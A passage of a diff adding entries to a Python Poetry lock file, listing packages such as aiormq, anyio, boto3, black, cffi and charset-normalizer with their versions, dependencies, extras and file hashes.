+[package.extras] +speedups = ["Brotli", "aiodns", "cchardet"] + +[[package]] +name = "aioitertools" +version = "0.11.0" +description = "itertools and builtins for AsyncIO and mixed iterables" +optional = false +python-versions = ">=3.6" +files = [ + {file = "aioitertools-0.11.0-py3-none-any.whl", hash = "sha256:04b95e3dab25b449def24d7df809411c10e62aab0cbe31a50ca4e68748c43394"}, + {file = "aioitertools-0.11.0.tar.gz", hash = "sha256:42c68b8dd3a69c2bf7f2233bf7df4bb58b557bca5252ac02ed5187bbc67d6831"}, +] + +[[package]] +name = "aiormq" +version = "6.6.4" +description = "Pure python AMQP asynchronous client library" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "aiormq-6.6.4-py3-none-any.whl", hash = "sha256:9fb93dc871eb9c45a410e29669624790c01b70d27f20d512a22b146c411440ea"}, + {file = "aiormq-6.6.4.tar.gz", hash = "sha256:95835a4db6117263305d450f838ccdc3eabd427c0deb32fd617769ad4c989e98"}, +] + +[package.dependencies] +pamqp = "3.2.1" +yarl = "*" + +[[package]] +name = "aiosignal" +version = "1.3.1" +description = "aiosignal: a list of registered asynchronous callbacks" +optional = false +python-versions = ">=3.7" +files = [ + {file = "aiosignal-1.3.1-py3-none-any.whl", hash = "sha256:f8376fb07dd1e86a584e4fcdec80b36b7f81aac666ebc724e2c090300dd83b17"}, + {file = "aiosignal-1.3.1.tar.gz", hash = "sha256:54cd96e15e1649b75d6c87526a6ff0b6c1b0dd3459f43d9ca11d48c339b68cfc"}, +] + +[package.dependencies] +frozenlist = ">=1.1.0" + +[[package]] +name = "anyio" +version = "3.7.1" +description = "High level compatibility layer for multiple asynchronous event loop implementations" +optional = false +python-versions = ">=3.7" +files = [ + {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"}, + {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"}, +] + +[package.dependencies] +idna = ">=2.8" +sniffio = ">=1.1" + +[package.extras] +doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"] +test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] +trio = ["trio (<0.22)"] + +[[package]] +name = "async-timeout" +version = "4.0.2" +description = "Timeout context manager for asyncio programs" +optional = false +python-versions = ">=3.6" +files = [ + {file = "async-timeout-4.0.2.tar.gz", hash = "sha256:2163e1640ddb52b7a8c80d0a67a08587e5d245cc9c553a74a847056bc2976b15"}, + {file = "async_timeout-4.0.2-py3-none-any.whl", hash = "sha256:8ca1e4fcf50d07413d66d1a5e416e42cfdf5851c981d679a09851a6853383b3c"}, +] + +[[package]] +name = "attrs" +version = "23.1.0" +description = "Classes Without Boilerplate" +optional = false +python-versions = ">=3.7" +files = [ + {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"}, + {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"}, +] + +[package.extras] +cov = ["attrs[tests]", "coverage[toml] (>=5.3)"] +dev = ["attrs[docs,tests]", "pre-commit"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"] +tests = ["attrs[tests-no-zope]", "zope-interface"] +tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] + +[[package]] +name = "black" +version = "22.12.0" +description = "The uncompromising code formatter." +optional = false +python-versions = ">=3.7" +files = [ + {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"}, + {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"}, + {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"}, + {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"}, + {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"}, + {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"}, + {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"}, + {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"}, + {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"}, + {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"}, + {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"}, + {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"}, +] + +[package.dependencies] +click = ">=8.0.0" +mypy-extensions = ">=0.4.3" +pathspec = ">=0.9.0" +platformdirs = ">=2" + +[package.extras] +colorama = ["colorama (>=0.4.3)"] +d = ["aiohttp (>=3.7.4)"] +jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] +uvloop = ["uvloop (>=0.15.2)"] + +[[package]] +name = "boto3" +version = "1.24.59" +description = "The AWS SDK for Python" +optional = false +python-versions = ">= 3.7" +files = [ + {file = "boto3-1.24.59-py3-none-any.whl", hash = "sha256:34ab44146a2c4e7f4e72737f4b27e6eb5e0a7855c2f4599e3d9199b6a0a2d575"}, + {file = "boto3-1.24.59.tar.gz", hash = "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40"}, +] + +[package.dependencies] +botocore = ">=1.27.59,<1.28.0" +jmespath = ">=0.7.1,<2.0.0" +s3transfer = ">=0.6.0,<0.7.0" + +[package.extras] +crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] + +[[package]] +name = "botocore" +version = "1.27.59" +description = "Low-level, data-driven core of boto 3." +optional = false +python-versions = ">= 3.7" +files = [ + {file = "botocore-1.27.59-py3-none-any.whl", hash = "sha256:69d756791fc024bda54f6c53f71ae34e695ee41bbbc1743d9179c4837a4929da"}, + {file = "botocore-1.27.59.tar.gz", hash = "sha256:eda4aed6ee719a745d1288eaf1beb12f6f6448ad1fa12f159405db14ba9c92cf"}, +] + +[package.dependencies] +jmespath = ">=0.7.1,<2.0.0" +python-dateutil = ">=2.1,<3.0.0" +urllib3 = ">=1.25.4,<1.27" + +[package.extras] +crt = ["awscrt (==0.14.0)"] + +[[package]] +name = "caio" +version = "0.9.12" +description = "Asynchronous file IO for Linux MacOS or Windows." +optional = false +python-versions = ">=3.7, <4" +files = [ + {file = "caio-0.9.12-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:df395e7e1c2025b3f32dbeff20a8b6491959fac8fbd5a9c2d452bf1f5c0ca2bf"}, + {file = "caio-0.9.12-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:acd31b7828c6683bc46e467a32359f08c686d4c25a7e645c029a07c36685fea7"}, + {file = "caio-0.9.12-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0b7ffb561ca5c24e7f080aaa73ebb143ae659bd69645a748b332762c389349f"}, + {file = "caio-0.9.12-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6285d772ae3a55e758b1bd3bc34f095757e4af45dcc30a183becf9bbdead8ced"}, + {file = "caio-0.9.12-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:18df0caecfaa90ab9ac84ff71975fcf2342554b6f65ef69049337204b8b5af42"}, + {file = "caio-0.9.12-cp311-cp311-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e569b83e9b41d12e094190d0e1a546610829a65609f429a1845e3250d4c5804"}, + {file = "caio-0.9.12-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7833f81f58e76a3585ff59813e63fa278731c8d26fefe52ae12e783d38c8faea"}, + {file = "caio-0.9.12-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:aa1dab77aca0b2672b9a364f14a03e764c5d811c0ae1395f661a2b8f6723f958"}, + {file = "caio-0.9.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f366c595eda130a184f372d458d647b0ac879a46e872757648d4e29b6cea12ad"}, + {file = "caio-0.9.12-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2759fe1957d0effb3bc38b3508b20fa37610bff9005f3926f570e6c06e901567"}, + {file = "caio-0.9.12-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e65060717e27c702cd76a90be33250cae46be32a3009781ce382c8675fa7551"}, + {file = "caio-0.9.12-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:a8204c6a7ea3c96057abba3da1690190b3cae0c3f03d81e9b5e3c99978b5bb6e"}, + {file = "caio-0.9.12-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:820bb3ef23ce0d4096f822a8fea97ff2c239dd0351fa588801d2de627df9ab98"}, + {file = "caio-0.9.12-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9a27973a03c777934decd577be577a61a188bee72272b3dc37a7cbc5eedf91"}, + {file = "caio-0.9.12-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d6b424644ac37ce84f9dd99757d29e7cff01018d3b31f8ec0a38f2d5216165c"}, + {file = "caio-0.9.12-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:15192a28e054cd591489af82f4b1093f15338eb201a2399a337461ff0bbd9fc9"}, + {file = "caio-0.9.12-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:55317d2c90479a58108cfbd6816b85e584e61c48b42269c55f69cf4443857068"}, + {file = "caio-0.9.12-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b18318d04cad7ef985fc2fb86d43f866ba34c1ee3445385f2370d6f843c05c69"}, + {file = "caio-0.9.12-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73c20d8fc7dfb140b7d57e69e6f17e1637d2ac4a9ebe0f5f8c94b56f87c5c087"}, + {file = "caio-0.9.12-py3-none-any.whl", hash = "sha256:b81b3271478e91f18e7ac1f3e4f914ba0924364857ba8e27f03b9d0aea915ca8"}, + {file = "caio-0.9.12.tar.gz", hash = "sha256:d2be553738dd793f8a01a60316f2c5284fbf152219241c0c67ca05f650a37a37"}, +] + +[package.extras] +develop = ["aiomisc-pytest", "pytest", "pytest-cov"] + +[[package]] +name = "certifi" +version = "2023.5.7" +description = "Python package for providing Mozilla's CA Bundle." +optional = false +python-versions = ">=3.6" +files = [ + {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"}, + {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"}, +] + +[[package]] +name = "cffi" +version = "1.15.1" +description = "Foreign Function Interface for Python calling C code." +optional = false +python-versions = "*" +files = [ + {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"}, + {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"}, + {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"}, + {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"}, + {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"}, + {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"}, + {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"}, + {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"}, + {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"}, + {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"}, + {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"}, + {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"}, + {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"}, + {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"}, + {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"}, + {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"}, + {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"}, + {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"}, + {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"}, +] + +[package.dependencies] +pycparser = "*" + +[[package]] +name = "charset-normalizer" +version = "3.2.0" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = 